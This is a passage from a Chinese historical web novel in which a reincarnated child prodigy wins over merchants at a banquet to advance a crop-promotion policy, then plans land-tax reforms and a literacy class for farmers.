第二日一早,周盈还是卯时五刻起的床,他的生物钟这会儿已经是定下了。反正两人如今的学问和能耐来讲,应付考试已经是不成问题了的。 等考的时候,临时抱个佛脚温习一下就是。 这空出来的时间,周盈就打起了练武的想法。好歹也是掌人间兵戈的堂堂神剑剑灵,一朝穿越投胎,落地成了个哇哇大哭的婴儿不说,连身体素质都这么差。 实在是丢脸。 郭嘉对于他的习武执着,完全不理解,并觉得他这种,每天准时卯时五刻起床,晨练一个时辰,然后再洗澡穿衣,吃早饭的作息。 简直非人! 真可怕! 周盈再三邀请他一起早上晨练,却得到了一记闭门羹。 耸肩,无奈。 p>那就自己练吧! “吼欸!” “咿呀——!” 屋内,躺在床上,猛掀起被子的郭嘉,有点生无可恋了!自己不爱睡懒觉!怎么还能不让别人睡呢! 太过分了! 周盈当然是不知道他那点腹诽,只觉得晨练完后,洗个热水澡真的很舒服,浑身筋骨都松了下来。 这是享受呀~ 吃完早饭,两个人上午也没什么事儿,干脆就看看书,或者去田里走一圈。 郭嘉觉得有点累,但是周盈完全歇不下来!这人精力太旺盛了,恐怖! “不、不行了,我不行了,你走吧!你走好了,让我坐会儿。” 眼看着郭奉孝一屁股赖在地上,死活不肯起来,周盈也是哭笑不得。 反思了一下子自己,好像自打一起床,还真就没停过……他是习惯了这种非人的日常生活,以前只体现在读书特别用功上。 但郭嘉那性子和体能……嗯。 想了想,周盈觉得这其实不是身弱不弱的问题,比方他以前,也有变成病秧子的时候。 但那会儿,为了办事情,他也是每天都马不停蹄连轴转,一整天都很充实,这和体能跟不跟得上,关系真不大。 和意志力有关! “起来。”手拽了一下。 郭奉孝耍赖了:“你走吧!别管我了,我累死了!你是人吗!” “……” “哦不对,你还真不是人。”郭嘉反应过来了,有些牙疼。 也就他怀疑人生的功夫,只见周盈走过来。背对着他蹲下,手往后伸,招呼了一下。 “来。” 郭嘉哼了一声,随后直接扑了上去:“这还差不多!” 周盈听他小人得志的语气,不免地,无奈摇了摇头。 于是田间小路,穿着白衣的少年,背着穿着浅蓝色衣服的少年,一路往前,虽重量压在身上,但脚步依旧平稳。 眼瞅着时间不早了,两个人也就这么出了门。郭嘉去了郭府,周盈则是前去赴宴。 三甲酒楼落座于整个山阴县最繁华的地段,来往人流繁多。抬轿子的几个仆人缓缓放下轿杆,不多时停稳的轿内,掀起帘子,走出来一中年男子。 紧接着,他身后跟着的轿子也走下来了个人。 两人一碰面,先是惊讶,随后哈哈一笑。 “尔弢!” “欸,巧啊!茂川,你倒是来的也早!” 张耀芳见杨岳身影,脸色带着笑,也不顾周围人流,直接便开始攀谈了起来。 他身后跟着的张岱,见状,朝着杨业使了个眼神,对方嘴角一翘,手指了指酒楼大门。 “好、好啊!我这边也接到了旨意,朝廷派了人来,这说明皇上是真心想办成这事情的。”张耀芳声音中气十足,说着话间,频频颔首。 他到底是个做官的,前些日子巡盐的事情,把张家吓得上下哆嗦!好在是有惊无险,一难过去,但又有一难出现在了面前了! 虽说巡盐的事情,朝廷不追究,但皇上到底,是明白的。也知道底下这帮人是花钱买命。如今要推玉米番薯,自然也要这帮人多出些力。 便也一道圣旨给了张耀芳,叫他归乡,专盯此事! 92.第 92 章 有了这把尚方宝剑,张耀芳这些天上悬下跳的心,这才是稳稳放到了胸里头了。 杨岳感慨了一声:“此事,若非周神童出策,只怕咱们也没本事在这儿闲谈了。” “老夫虽为商数年,但也知道,救命之恩当涌泉相报,身后的这帮淮阳兄弟,早就已经准备好了,也就等着事情谈妥了,把田种起来!” 张耀芳点了点头,心里思忖,这如今局势,已是板上钉钉了。前些日子的联考,周神童夺得魁首的消息,早就传开了,现今只怕山阴县里头的那些人,也都已经坐不住了。 再加皇上钦派了宫里的人来,说明是极看重此事,谁敢公然违抗,那谁就是抗旨了。 不得了……这两位小神童,当真是搅得整个绍兴府,都要抖三抖咯! 真是年轻有为,叫人瞧着,都酸溜溜的!怎么自家儿子就没半点人家有出息? 想到这,他笑了笑,看了一眼,稀奇道:“欸?怎么不见你家儿子?” 杨岳也是一愣,转头一看? 嘿…那混小子,早没影了! 那张岱跟杨业呢? 早进楼了! 当然,比他们更早到的还有沈越,他家是山阴县最大的粮商之一,自然是不可能缺席的。 “嗯?怎么,小师弟还没到吗?” “没呢,里头全是当地有头有脸的商贾、乡绅,我看他们应酬也看得烦,这才出来透个气。”沈越手上拿着菱角,见到两人从楼梯上来,丢了几个给张岱。 “你爹呢?” “老头子在外头跟宗吕爹讲话,我听着也无聊,这就上来了。” 说出这话,三个人都有些忍俊不禁。 没有马上回包厢,只是在走廊上走走间,往下看去,便见到三甲酒楼一楼,正中央的高台上,红绸彩缎,琵琶声声悦耳,浅色纱帘欲拒还迎,那弹着古筝的姑娘却是好不唯美。 边上则是摆满了酒桌,用镂空屏风隔开,这会儿上菜的小二忙的是不可开交。 沈越先开口说道:“前日一到家,我便将联考的事情说了一遍,我爹知道了,也百感交集。” “这倒也得多谢小师弟,给了我这个机会,否则,我倒还真要一辈子,都得别扭自家这个商贾之子的出身了。” 杨业和他是同样的出身,因而对他的处境是最有感触的,但杨业比他幸运的是,家里与官宦世家多有交道,处境来讲,则要比纯做买卖的沈越舒服多了。 听到这话,不免的,浅叹一口气:“咱们几个,现在还年轻,但将来,家业都得落到手里,如何把产业经营下去,把家打点好,也是门学问。” “宗子家里是不愁,总归是有人护着,但我们则不行。” 这话张岱不爱听了,什么意思!小师弟们说他傻人有傻福,怎么他的好兄弟杨业也这么说呢! “什么叫有人护着?我爹揍我的时候,你们是没见过!” 两人一听,先是一愣。 随后—— “哈哈哈……” 欸……人和人的烦恼啊,果真是不相通的。 他们在这纠结担忧将来家业经营的事情,张岱呢? 张岱在纠结,回家是不是还得被自家老爹揍一顿。 沈越无奈摇头,只觉得自己以前,干嘛非要跟这种……地主家的傻儿子过不去呢? “不说这个了。我倒是想着,只要能把国策推行成功了,到时候山阴县里头,咱们几个便也说得上话,小师弟将来不是还想着,改什么海税?” “凡是他想做的,咱们都尽量帮着,这对双方都有好处的。” 他这话说的,都已经开始盘算起将来十年、二十年的事情了,听的张岱也是一愣一愣。 “此事只怕不容易。”杨业皱了皱眉,番薯玉米好推,但海税变法难改,因其中牵扯颇深。 “那也就,到时候再说吧,我看小师弟是有这个心,不过……”沈越说到这,也是无奈。 “太年轻了。” 三个人一时间都没开口说什么,但都明白沈越说的是什么。是因周盈的年纪太小,便是将来真考了功名,也要先外放到各地方,一点点积累经验,才能往上升迁。 “事情还早,青山别想得那么远,咱们先把今天的饭吃了,事谈了。” “宗吕说得对,我想多了。” 也就几个人絮絮叨叨的功夫,走了一圈,便从走廊转了回来,巧的很。 周盈一上楼,这就撞了个正着了! “哎?小师弟!” “几位师兄,怎么在这儿?”周盈看他们三个呆在这儿,也都有些惊讶,不是说好在包厢谈的吗? 杨业有些忍俊不禁:“这不是等你吗?里头的那些人,如今只怕是等急了!” “是啊,小师弟,我可跟你说,今天这饭局,来了好些人!可不止先前那几个,都是我爹出的力!” 张岱跳得最欢,忙着跟周盈邀功呢,脸上眉飞色舞的。 “你也知道,我爹虽然在朝中说不上话,但好歹也是有个一官半职,皇上惦着咱们山阴县,便叫我爹回来,干脆就盯着这事情!” “这样一来,在咱们自己人多了,那镇守太监高烨,来不来也无所谓!” 他说的是想当然的,几个人听了也就是笑笑。周盈莞尔,看着心情极好的张岱,也就没有多说什么。 “那就走吧?进去看看?” “走走走!” 包厢内,应酬再三,一片欢声笑语间,张耀芳作为设这顿饭局的主人翁,脸上也是挂满了笑容,酒下肚,便跟着众人攀谈了几句。 这会儿,坐在一侧的沈峰,面不改色,但心里早已有数,坐他边上,原先把周盈气得不行的弥勒佛商人,那是笑呵呵的,祥和富态的很。 门一推开。 四个人走进来,最前面的当然是张岱,他绕过屏风,开口就咋咋呼呼的:“爹!人来!” 哦? 一时间,屋内所有人,都放下了筷子和酒杯。 转头看过去。 只见,跟在张岱身后的少年,白衣胜雪,素纱翩翩,面如玉琢,生的端容,气质润如青莲般的和气。 见到众人,也只是拱手行礼。 含笑间,开口道:“在下周盈,路上耽搁了些时间,让诸公等候多 时,腆脸赔罪。” 话一出口,不少人目光都开始打量起来。 便觉这名声远扬的周神童,说话是落落大方,举止周到,果真不凡! 张耀芳颔首一笑,刚要开口说甚,就听见张岱走过来,拉开了点椅子,然后说道:“小师弟,你坐!就当是自己家里,吃个饭而已!” 这话说的,张耀芳眼皮子猛地一跳,胡子都吹了起来。 “咳咳!” 周盈这会儿被杨业推进座位席,也是有些哭笑不得了。 “小师弟!我和你几个师兄就坐你边上,想吃什么,我们给你夹。” “咳!!” 沈越和杨业见这架势,都有些憋不住了:“好了,宗子,小师弟想吃什么自己会夹的。今天主场不是咱们,咱们就安静吃饭。” “你就吃自己吧,小师弟这边我看着。” 张岱撇嘴,行呗。 有人见状,也是呵呵一笑:“尔弢这儿子,倒也是实诚!” “我看宗子跟周神童关系,好着呢!” 张耀芳闻言,瞥了一眼低头吃饭的张岱,再一看坐的端正,举止优雅得体的周盈。 心里不免有一种,别人家的小孩怎么看都怎么好的感觉。 “欸……犬子不成器,闹出了笑话,诸位勿怪。” “尔弢,这话可不能这么说,前些天绍兴联考,咱们也都听说了,宗子不还考了个三十九名吗?可把那阳和书院的人都比下去了!” 一提起这话,一帮人就聊起来了,说的都是自己家不成器的孩子怎么样,读书怎么不用功,学习不上进之类的。 说的在场的不少人,都开始皱着眉,叹气连连。 头疼! 看来家家有本难念的经,这经就叫做——《论:如何辅导小孩功课》 “不说咯,不说咯,说起来,我都来气,送进私塾里头,教他读书,结果这混小子不知哪里弄得炮仗,把人家夫子的屋都给炸了。” “噗……” “怎么?笑呗!反正这事儿,乡里乡亲都知道了,我这老脸也都丢尽了。” “哈哈哈……” 一时间,屋里欢声笑语,妙不可言。 张岱憋是憋不住,凑到沈越耳边道:“这么一听,咱们也够争气了!好歹是给潘岳私塾争出了名声!” 剥着虾壳,听了这话,沈越无奈一笑,手上沾了点儿酱汁,丢到周盈碗里。 眼看着那小山般堆砌的各色菜肴,周盈竟是不知如何下手。 “哎?周神童,听闻联考三日,尔等倒是石破天惊,写了份连萧府尊都连声称‘好’的东南海防策论?” “是极,这事儿咱们都听说了!周神童辩场上的第一立论:怎么让人吃饱饭;第二立论:义利同行,以民为本。听之朴实,闻之深切,做生意的,才最明白这里头门道有多深啊!” 这话都说到这份上了,周盈再不开口也不合适,垂眸一笑间,将手中筷子放下。 “其实都不是什么大学问,我这样立论,也是因为那些学生,学了道理,却不懂怎么去用。只知道侃侃而谈,借以道德批判他人。” 93.第 93 章 “在场的诸位,都是做事的人,自然是明白,光靠嘴巴,饭是长不出来的,钱也是生不出来的。” “我说的,也不算空谈吧?” 屋内倒是安静了些,有人颔首,也有人叹息,拿着酒抿了一口,开口的是杨岳。 “周神童,先前巡盐之事,我却还未向你真正答谢。今日便借着这顿酒菜,老夫敬一杯!” 他说着,站起身,朝着周盈示意间,随后一口抿尽,杯口微倾,只见杯中之物已然罄矣。 坐在杨岳边上,穿着深灰衣服的中年人,也跟着起身:“周神童,老夫是淮阳人,与茂川交好,知巡盐之事,却不知其中蹊跷之深,若非你一言点破,只怕咱们淮阳盐商,如今都已……” 说到这,他叹了口气,只举起杯子:“多的不说!请!” 随后又是一杯尽。 接下来几个,也如是一般。 屋内不少人见状,神情若有所思,也有窃窃私语着的。总归是心思各异,各不相同。 沈峰身侧的弥勒佛商人眯着眼,嘴唇翕动,不知在细谈什么。但沈峰点了点头,又摇了摇头。 周盈看了一眼坐在自己边上的沈越。 对方这会儿正忙着剥虾壳,显然心思间,也没注意到场中的暗流涌动。 几个淮阳盐商敬完酒坐下,脸上神情都轻松了不少。周盈便也站起身,拿起杯子。 朝着众人笑着开口道:“诸位是有心之人。我虽年幼,却得了三位师兄的关照,便是从交情来说,也不忍心看着这些,对我好的人出了事。” “人比之禽兽者,却也正因多份人情味。若我旁观,只享受了好处,而无担当与勇气。那诸位,如今便也不会,对我这般钦佩与尊重了。” 说完,也不顾一群人的神情,周盈手上动作着,将杯子里的酒喝掉。 当然,他喝的是玉米酒,味不算烈。 杨岳一行人,心中知晓周盈能耐,但听了这番话,亦不免地,觉得有些惊讶和出乎意料了。 这样的道理,若是十七八岁的年轻人说出来,都已经算得上是有担当有能耐的了,必是有一番成就的。 因交友者,总归是希望自己的朋友有担当负责任,更因做买卖的,最看重的也是这一点。 但这话是从一个七八岁少年口中说出来,且这个少年,先前一招奇计,反将曹御史转为了自己人,不说,更是一纸策论上达天听,连皇上都钦封赏赐。 而今,手握国策重器,却不倨傲,亦无冷眼,谈吐随和,平易近人。 杨岳慢慢点了点头,眼里的神情却有了不少变化。 “好!” 开口的是坐在他身边的那位淮阳盐商,他直接大喝了一声:“周神童把咱们当自己人,而不是随意弃之的商贾末流,光是凭着这一句话,我俞淮,都要再敬你一杯!” 他说着又一口干尽! 杨岳叹了口气,知道他这个兄弟性子急,情绪言于表,但也没有开口阻止。 周盈受了敬,也点着头缓缓坐下:“我说这些,也不是为了让你们敬我。这饭局,是张大人组的,诸位也知道是为了什么。” 说到这,他朝着一直没开口说话的张耀芳拱了拱手,对方眼里带着些许笑意,微微颔首。 “这国策的事情,务农司也不会多收什么费用,当然…开垦的荒田、该交的税是不能少的,都得归国有。这是皇上器重,咱们不能少了皇上的那份。” “但立商号的事情,我们是可以谈的。之前谈过一回,想来诸位也都知道了我提的那些要求?” 周盈语气停了一下,扫视了一圈,不少人脸色有些变化,也有的点着头思忖。 沈峰看了一眼坐在周盈边上,光顾着给人剥虾剥螃蟹的自家儿子,心里也是叹了口气。 他知道自己儿子在联考上出了风头,也知道沈越考得很好,心里慰藉之余,便多了几分深深的忧虑。 商贾出身,这根刺梗在沈越心里头,他是都知道的。对儿子的管教有多严厉,他也是都明白的。 这般想着,沈峰倒是先开口了。 “周神童,上回的事情,我等所言,也实非找茬,只因经营买卖,须步步小心商酌,这才难免多有得罪。” 周盈颔首:“这我都知道,因而我才说,让张大人上书布政司,由朝廷定夺。” “约莫,等明日,高公公一来,圣旨就到了,咱们这事儿,也就彻底能定下来了。” “沈掌柜,你担心的事情,大家都担心,你看在座的众人,哪个不是带着身家性命来谈事情的?” 他一笑间,长睫翕动,掩去眸中思绪:“便是不说你们,只说我好了。” “我自年幼,我娘为了拉扯我,种过玉米番薯,开过酒坊赚钱,这才辛苦把我送进了私塾。” “我本可以眼睁睁看着几位师兄,看着朝廷屠刀落下,看着巡盐过处,血流成河。” 这会儿,已有人放下筷子,有人皱起眉来。 “但我为什么非要插一手?非要借着身家性命,借着矿税旧案的由头,逼着曹谨行为我等翻案呢?” 他说的话,不急不缓,声音也不算大,但坐在屋里头的人都安静了下来,只听着周盈开口说话。 周盈浅叹了一口气:“我这个人,谁对我好,我百倍偿还。也见不得对我好的人,受伤。你们可以觉得我年幼,也可以觉得我不懂商事。这件事情办不成,先出事的是我,不是你们,但办成了,好处是大家一起分的。” “我是没有退路的人,但我也不会让逼着谁跟我一起走,今天吃饭,就是吃饭,不想留下的,都是可以走的。” 说到这里,便是连张耀芳,脸上神情都复杂了些。或许是品出了其中的真诚,亦或是觉得这个孩子,能走到今日,太难。 当然,更多的人是从中品出了点有趣的东西,比方说……没有退路的人,便意味着,事情只能办成。 沈峰点了点头,心中忧虑便也少了一些,但看场中不少人,虽有迟疑、担心者,但并无谁真的离去。 在座的都不傻,都知道这件事情办下去,能有多大好处。 那弥勒佛般的商人闻言,长叹了一口气,拿起酒杯道:“周神童,先前我不敬,在此先赔礼了!” 说罢,一口尽。 周盈颔首,倒也没有说什么。 “当然,诸位心中担忧,是正常的,今天也只是吃个饭,明天才是真要拍板敲定的时候。” “我也就不多说,也不多邀。张大人,可敢问,明日何时,何地商议国策之事?” 他这句话起了头,大家伙目光也都挪到了张耀芳身上。只见张耀芳缓缓开口:“明日午时三刻,也是三甲酒楼。” “好,那明日,谁想来,自个儿来就是了,咱们也就不请了。想赚钱,想往上走一走的,还要人催不成?”周盈笑了笑,似乎是觉得自己说的这句话,也挺有趣的。 桌上一群人哈哈一笑,听出了其中意味。 “来来、吃饭,喝酒!” “周神童说的实在,那些书生说话翻来覆去的都是之乎者也,我听着烦,还是听你说的舒坦。” 当然,也有些人一直默不作声的,多是在想些事情。 周盈也不管,只是跟着说说笑笑,好一派长袖善舞,碗里头的虾仁都没吃几个,光顾着喝酒了。 张岱这会儿吃饱了,听了全场,只顾着朝自家小师弟竖起了大拇指。 “宗吕,我看咱们周师弟…这谈生意的本事,比这些商贾都不逞多让啊!” 杨业摇了摇头, “怎么?你觉得还不行啊?” “非也……我是说,商贾谈生意,不是这样谈的,须以利益为先,你来我往,再三推辞,才能拍板。” “哪里像咱们小师弟的,随你来不来,也随你想不想,机会公平摆在你们面前,谁来谁有份!” 说到这里,杨业感慨了一句:“你看,这场上,有谁敢明面直接拒绝的?” “呃…”张岱眨了眨眼睛,一时间没有听明白。 “你说这些,他听不懂。”偏生,沈越还插嘴补了一刀! 把张岱的小心脏扎了个透心凉。 讨人嫌啊! 杨业闻言,哈哈一笑。 一顿饭也算是热热闹闹的吃完了,临近散场,张耀芳见周盈喝了些酒,便想找人送送。 张岱直接自告奋勇:“爹!我去,我去就行!” 眼看着自己儿子这样咋呼的劲儿,张耀芳也是无奈:“当心点!” “知道了!” 两人就这么出了酒楼大门,眼看着时间正下午,路上人来人往的,周盈这会儿,也不免的,觉得肚子有点撑。 实在是,酒喝多了些。 往日周瑶看他年纪小,就不怎么让他喝酒。 抬起手,在衣服上嗅了嗅,周盈心里也无奈,怕是要被说一顿了。 “国策的事情,倒也算是稳妥了,张师兄,接下来,咱们的任务可就重了。”上了马车,周盈打了个哈欠,不行…这饭吃的有点多,酒喝的也有点多,过了中午就有些犯困。 张岱坐在对面,听了这话就有些迟疑:“我们?什么任务?” 94.第 94 章 闻言,周盈也是无奈摇头。 “咱们得考功名,将来做事情,朝里要是没咱们的人,这像样吗?” “还有,务农司里头的那些农户,我看着有些孩子年纪小,也是可怜,若能教他们识字读书,将来进夫子的私塾蒙学读书,能考功名的,自然就是咱们官场上的人,考不上的,也都是能用的人。” “总归是要开始搭建自己的班底子了,你啊……”说到这,周盈笑了笑。 “加把劲,将来你爹下来了,你总得顶上去?” 他说的内容不轻松,张岱原先的那些松快心情,一下子就烟消云散了。 车内沉默了一会儿,不过多时,张岱叹了口气:“我知道了。但考功名这事儿……我也只能尽力而为。” 毕竟考不考得上,真得看运气,他一见八股文,就昏昏欲睡,头疼。 “这事,不慌,改天,让奉孝给你补补,总归是能补及格的。”看他这小表情,周盈也跟着乐了。 “好了,我到了。” 下了马车,周盈一挥手,马车便随之离去。 进了门,发现这会儿家里都没什么人,郭嘉应该还在郭府。院子里的花花草草,如今也都枯了一半,只有几棵松树生的极好。 周盈心里不免一喜,赶紧进屋,烧了热水,给自己洗洗。 洗着洗着,就洗困了。 等郭嘉回来的时候,就看到这家伙,穿着素白衣裳,湿漉漉的头发散着,正斜倚在树下躺椅上小寐。 手里一本书搭在小腹上,几只麻雀叽叽喳喳跳到扶手上。 郭嘉也是没好气,自己忙了一下午,这家伙出去吃了个饭,回来先偷着睡午觉了。 当然,他心里没嘀咕多久,周盈眼皮子一颤间,似乎是察觉到了视线。 长睫翕动间,睁开眼来。 “嗯?你回来了?事情办的怎么样?” “……”郭嘉走到边上桌子,拿起茶壶给自己倒了杯水。 “自然是办妥了,陈夫子那头还说,务农司要人的话,几个学生也能去帮着教教书,权当是支持我们了。” 坐靠在躺椅上的周盈,揉了揉太阳穴,这喝酒喝多了,醒来就容易头疼。 “嗯?你怎么了?” “我喝了点儿酒,等会你别告诉我娘,不然她又得唠叨了。” 郭嘉笑了一声:“哦~这是喝多了,在这偷懒歇息呢?” “怎么算是偷懒呢?”周盈压根没打算起来,坐在椅子,微微眯起眼睛,看着重重树荫遮挡间,斑驳的光影洒下。 倒也难得,心里算是有了点底气了。 “事情办成了,总得让人歇歇,松口气?” 郭嘉也不多言,走到一旁坐下,就这么,两个人安静的,看着风吹落叶,看着麻雀叽叽喳喳,享受这难得的片刻宁静。 但是一到晚上,那就完蛋了。 抄起周盈换下的衣服,周瑶脸色就变了,扯着嗓子一喊:“你怎么出去喝了那么多酒?跟谁学的?” “你才几岁啊?娘平日里也不是说不给你喝,但喝那么多酒对身体不好!” “你看看,你衣服上全是酒味!” 周瑶气笑了,手叉着腰,举着衣服朝着周盈就劈头盖脸一顿批评。 “以为回家换个衣服一个澡?我就闻不出来了?” “臭小子长本事了?娘都敢瞒?” 周盈端着碗,咬着筷子一角,抬头瞄了一眼郭嘉。对方强忍着,好歹是没真笑出来。 “娘……我这不是出去谈事情了吗?” “谈事情?要喝这么多酒?你才几岁啊?那帮混账东西,还能逼着你一个孩子喝酒?你糊弄谁呢?”周瑶那脑子,灵光的很,一听就明白周盈这是在说谎! 谁生的儿子谁了解。 “呃…哎呀,这不是为了办成国策的事情,喝了点吗?娘你也不是不知道,那帮人多精,我要是不真心实意点,怎么能把人都说服呢?” “娘,好了!我以后不喝了。”周盈放下碗筷,眨巴眨巴眼睛,带着几分委屈。 “咣当” 原是郭奉孝惊掉了筷子。 要命! 可怕! 见他这般委屈巴巴的样子,周瑶的气,这会儿也消了点,看自家儿子出落的清隽端正的模样,这眼眶一红起来,就跟芙蓉沾了露水般。 瞧着心疼啊! 郭怡在旁搭了话:“阿瑶,盈儿这孩子拼是拼了些,但也是为了正事儿,下次别喝那么多就是了,伤胃。” “嗯嗯嗯!郭娘说的在理。” 周瑶叹了口气,把手里衣服丢进桶里:“娘也不是要说你,只是担心你啊,你才回来两天,先去了趟郭府,又折腾了个什么,劝农司蒙学班的。” “现在还出去跟人喝酒谈事情,娘看着心疼。” 听到这话,武屋里其他两个人目光也都挪到周盈的身上了,郭嘉心里那是一万个赞同啊。 太恐怖了这意志力。 “娘,我知道了。”周盈心里暖暖的,嘴角一翘。 又言:“等明天,把事情定下,这事儿妥当了,儿子就好好学习,考个功名。” 周瑶无奈摇了摇头,把桶放下,走过来坐到椅子上:“吾儿上进,做娘的欣慰也心疼,虽不能在大事上帮忙,但家里的这些事,有娘和你郭娘在,你和嘉儿,只顾着往前就是。” 说着话,她夹了块烧排骨放进周盈碗里。 周盈点了点头,微微弯起眼睛:“好。” 这一顿家常饭,吃的是亲情,也是两个少年,唯一的家。 吃完饭,周瑶给煮了碗醒酒汤,周盈披着衣服一边喝,一边查着账目,算着利润。 想了想,放下碗,叹了口气。 “怎么了?大晚上还叹气?”手里写着什么,郭嘉抬头瞥了他一眼。 “我在想……既然咱们要搞个商号,还得拿劝农司统一给朝廷交税。为什么不能干脆,把商税变法的那些东西,也提前试着用上?” 这说着说着,周盈就摸着下巴皱起眉头来。 郭嘉是惊呆了,不是……大晚上的,你这怎么还在想事情? 看了一眼外头黑的不像样 ,这都什么时辰了? “怎么?你现在就想着对税动刀子?” “并非如此,既然农户的税,是由劝农司统一上缴,那我们何不仿着先前《东南海防》之策中所写,以‘什一之利’缴纳?这样一来,免了盘剥,且税也相对公平。” “至于商贾的,咱们既要建个商号,也可以如法炮制,让商号统一交税。” “……”郭嘉这会儿都被他说懵了。 听着,好像是有点道理。 “你这不靠谱。这些商贾乡绅,做生意还得走水路和陆路,这些全要缴纳钞关,这其中牵扯的地头蛇和派系太多了,且也不是咱们现在能插手的事情。” “不用从钞关着手,我们只管田赋就是。” 郭嘉皱起眉,思忖了一下,看向周盈。对方拿起碗,慢悠悠将里头的醒酒汤喝完,随后,拿起放在桌上的一张纸,递了过来。 “你看看。” 这卖的什么关子? 郭奉孝嘀咕了一声,拿起眯着眼看。 不过片刻,他眉头一挑:“你是打算,让这批商贾的田赋,全由商号缴纳?!” “你疯了?” 周盈往后靠了一下,放下手里的账本,只是思考着,没有马上就说话。 不过一会儿,郭嘉便细细看了两三遍有余,越看越觉得,这事儿乍一听天方夜谭,实则细思下来……还真有点东西? “好策论。” 郭嘉是真心佩服,皱着眉间,又开口道:“但有个大问题,钞关是一笔钱,田赋也是一笔钱,如果按‘什一之利’缴,那么那些大商人,交的更多,他们怎么会愿意呢?” “这个,倒要细细厘清楚,现今田赋的弊政何在了。” 听到这话,周盈嘴角一翘,来了兴致,身子往前倾,手拿起毛笔蘸了蘸,紧接着就看着郭嘉道: “其一,折亩。田亩贫瘠按比例折成亩,但折多少,都是地方说的算,不少人因此受多纳税赋之苦。” “其二,田赋胥吏经手,他们说合格就是合格,不合格还得折腾。不论是商还是农,盘剥之下,都没有谁能逃过,这是一笔本不需要负担的支出。” “其三,粮食起运。种出来的粮食,有一部分,是不折银的,要运送到各地方的粮仓内,但这个运输,朝廷和地方不会负担。且每年粮仓都不固定,忽近忽远,这其中耗费的粮食、人力、物力,以及地方打点关系的银两花费,还是一笔大的开支。” “其四,折银和解京。田赋缴纳银两,种出来的产品得卖出去吧?这样才能换钱。但若是由个人买卖,往往容易被压价、买亏。 而解京的耗费,谁来负担?还是个人,其中需缴纳的火耗,车脚银等,且验成色不合格,那就又要补,又是一笔不小的开支。” 手上的笔涂涂画画间,龙飞凤舞的黑字便成列在上方,周盈一边说,一边写。 郭嘉便手举着脸颊,皱眉看着。 “当然,还有最重要的,优免权。” “土地寄在乡绅名下,亦或者有功名在身,都可以豁免一定的税收。” 95.第 95 章 “至于起运和留存的比例,也要细细商酌,总归是细枝末节繁多,不识字,不懂行的,哪里知道得了这么多?” 听到这,郭奉孝抬头看向他:“所以,你让劝农司那些农户识字,教他们的孩子读书,也是为了后面这些事情做打算?” “嗯,光靠商号缴纳税额,这其中一定有人会想着偷税漏税,但光靠劝农司自个儿缴纳税额,不识字的农户哪来的能力算清这些账目。” “只有让两者相互监督,才能成事。” 说到这里,周盈放下笔。 两个人在油灯下嘀嘀咕咕,但郭嘉总觉得这法子好归好,但是太超前了。 “咱们在这儿说的轻巧,但若是真弄起来,折亩、解京、起运、优免权这些,牵扯到地方各色人物,把人都得罪完了。” 听他这么说,周盈不免也叹了口气,这确实是真实存在的问题。 “所以,咱们才要搞商号、搞劝农司。一个人的力量,是比不过一群人的。” “咱们现在有国策背书,有皇上的人看着,再有地方县令张智林的支持,这可以说,在地方上,我们是有点优势的。” “但你把他们的钱袋子全捋了,这帮人必然心中有冤。”郭嘉一针见血,没有被周盈这番听起来十分美好的策论说服。 周盈看了他一眼:“是。这就是如何分配利润的问题了。” “……?” “我们让一半田改种番薯,自然是还不够的,山阴县那么多荒田,这些也能拿来种。但怎么推行开垦荒田的事情,得让这帮胥吏和官府衙门的人去办。” 眼看着郭嘉皱紧眉头,思忖再三,周盈笑了笑,继续说道:“扯皮的事情,谁最擅长?还是这帮胥吏。” “由地方衙门牵头,让胥吏组织这些农户、流民开荒。 开出的田,第一年免税,第二、三年半税,第四年起全税。 且这些做事的胥吏,可从新田税中,取一定比例的‘开荒劳务费’,这笔钱可由劝农司发放,账目可查。” 周盈说着,又想到了什么一般,眼睛亮了亮道: “这帮人的收入,跟田开耕的好不好有关,跟收成好不好也有关,那到时候,谁来盘剥、额外收取其他费用,亦或是收成不好,最着急的还是他们。” “商号知情,劝农司监督。” 郭嘉听了一连串,思路是都跟上了,也觉得这法子确实不错,但有个问题。 “那优免权呢?” “新田不优免,且将来推行番薯玉米,总归会有人想继续参与进来,让他们放弃优免权获取参与机会,这也是可以的,不过都是粗略方案,往后得细想。” “明年怎么办?” 周盈目光有些古怪:“明年?当然不动,钱都没赚到,谁愿意多交钱?” 一听这话,郭嘉眨了眨眼,哎呀一声,自己这是思路全被带进去,还以为周盈要马上动刀呢! “你想什么呢?饭总得一口一口吃吧?” “这不是听入迷了吗?谁知道你这性格,会不会石破天惊,说干就干?” 周盈乐了:“你看我像傻子吗?” 郭嘉哼哼两声:“好了好了,这么晚了,该睡觉了!” 说完话,他站起来伸了个懒腰:“明天你自己去吧,让我歇歇。” “成。” 两人聊了一会儿后,这才各自回屋上床睡觉。不过第二天一大早的,郭嘉睡得挺香的,他完全免疫了周盈发出来的那些声音。 并且翻身找了个更舒服的角度,美美熟睡。 锻炼完,周盈反倒是走到一旁,抄起一根树杈子,挥了挥。 皱了皱眉,叹了口气。 到底是肉体凡胎,一切还得从头开始练啊。 洗了个澡,吃了个饭。 总归还有点闲暇的时间,随后周盈便回到房里,自个儿翻书看账去了。 等郭嘉醒来,都日上三竿了。 这会儿周盈也已经出了门,他去了一趟劝农司。打算看看新落地的蒙学班政策怎么样了。 劝农司大门外。 不少的农户,如今瞪大眼睛,听着管家说的话,只觉……天方夜谭。 “赵管家,您这说的…让咱们管自己的帐,可咱们也不识字啊!” “对啊!那些黑泥鳅,俺们哪里看得明白!” 那赵管家闻言,“嘿哟”一声,手拍着背,心想这小少爷,非得多弄这么一出戏,现在好了,事情得他跑断腿了办! 办不成还得找他麻烦。 这么想着,嗓门也跟着大了点。 “不是直接让你们看账!是先教你们识字!教你们的孩子识字!这是大好事,小少爷说了,在劝农司蒙学班里,成绩表现优异的,那将来就能进潘岳私塾读书,费用全由劝农司负担。” 眼看着底下一群人,眨着眼睛,呆愣愣的表情,赵管家啧了一声,脸色都带了些不耐烦。 “听懂了没啊?给个声啊?” 沈二柱直接举手,大喊道:“真、真的?这事儿……是小少爷们说的?” “那还能有假?我跟你们说,这件事情,潘岳私塾那儿都同意了,郭老爷,也同意了!这是天大的恩情呢!” 不少人这时候回过神了,脸色迷茫的、惊讶的、不可置信的、还有一些是皱着眉的。 有人道:“但、但……识字的话,咱们怎么种田啊?” “是啊,那田不能没人打理!” “……”赵管家目光呆滞,心里那可真是无语到极致!叫你们读书写字,反倒还没有种田来的好? 听到这,周盈皱眉,大步往前走去。 “叫你们读书,也是在晚上抽些时间教,不会碍着你们的正事的。” 他这一声响起,顿时引得劝农司内所有人都看向了大门口。 